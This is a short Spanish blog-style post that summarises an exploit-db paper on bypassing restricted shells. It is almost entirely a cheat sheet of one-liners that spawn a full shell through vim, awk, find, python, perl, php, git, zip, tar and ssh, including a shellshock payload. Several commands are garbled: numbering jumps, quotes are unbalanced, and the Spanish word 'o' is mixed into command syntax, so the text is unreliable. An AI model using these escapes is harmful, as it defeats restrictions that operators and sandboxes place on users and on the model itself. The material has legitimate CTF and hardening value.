Recientemente, @n4ckhcker y @h4d3sw0rmen publicaron en exploit-db un breve pero útil paper para, ya sabéis, aquellas que bloquean algunos de comandos como cd, ls, echo, etc., restringen variables de entorno como SHELL, PATH, USER y a veces incluso comandos con / o las salidas de redireccionamiento como >, >>; todo ello para añadir una capa extra de seguridad para protegerse contra posibles atacantes, comandos peligrosos o simplemente como una prueba en un CTF. A continuación se listan la mayoría de las técnicas para bypassear estas shells restringidas:1) Primero debemos verificar si se pueden ejecutar comandos como cd/ls/echo, etc.2) Debemos verificar si podemos usar operadores como >, >>, !/bin/sh o !/bin/bash4) gdb > !/bin/sh o !/bin/bash5) more/man/less > !/bin/sh o !/bin/bash6) vim > !/bin/sh o !/bin/bash7) rvim > :python import os; os.system("/bin/bash )8) scp > scp -S /path/yourscript x y:9) awk > awk 'BEGIN {system("/bin/sh o /bin/bash")}'10) find > find / -name test -exec /bin/sh o /bin/bash \;1) except > except spawn sh then sh.2) python > python -c 'import os; os.system("/bin/sh")'3) php > php -a then exec("sh -i");4) perl > perl -e 'exec "/bin/sh";'5) lua > os.execute('/bin/sh').6) ruby > exec "/bin/sh"1) ssh > ssh username@IP -t "/bin/sh" or "/bin/bash"2) ssh2 > ssh username@IP -t "bash --noprofile"3) ssh3 > ssh username@IP -t "() { :; }; /bin/bash" (shellshock)4) ssh4 > ssh -o ProxyCommand="sh -c /tmp/yourfile.sh"127.0.0.1 (SUID)5) git > git help status > luego puedes ejecutar !/bin/bash6) pico > pico -s "/bin/bash" luego puedes escribir /bin/bash y pulsar CTRL + T7) zip > zip /tmp/test.zip /tmp/test -T --unzip -command="sh -c /bin/bash"8) tar > tar cf /dev/null testfile --checkpoint=1 --checkpoint -action=exec=/bin/bash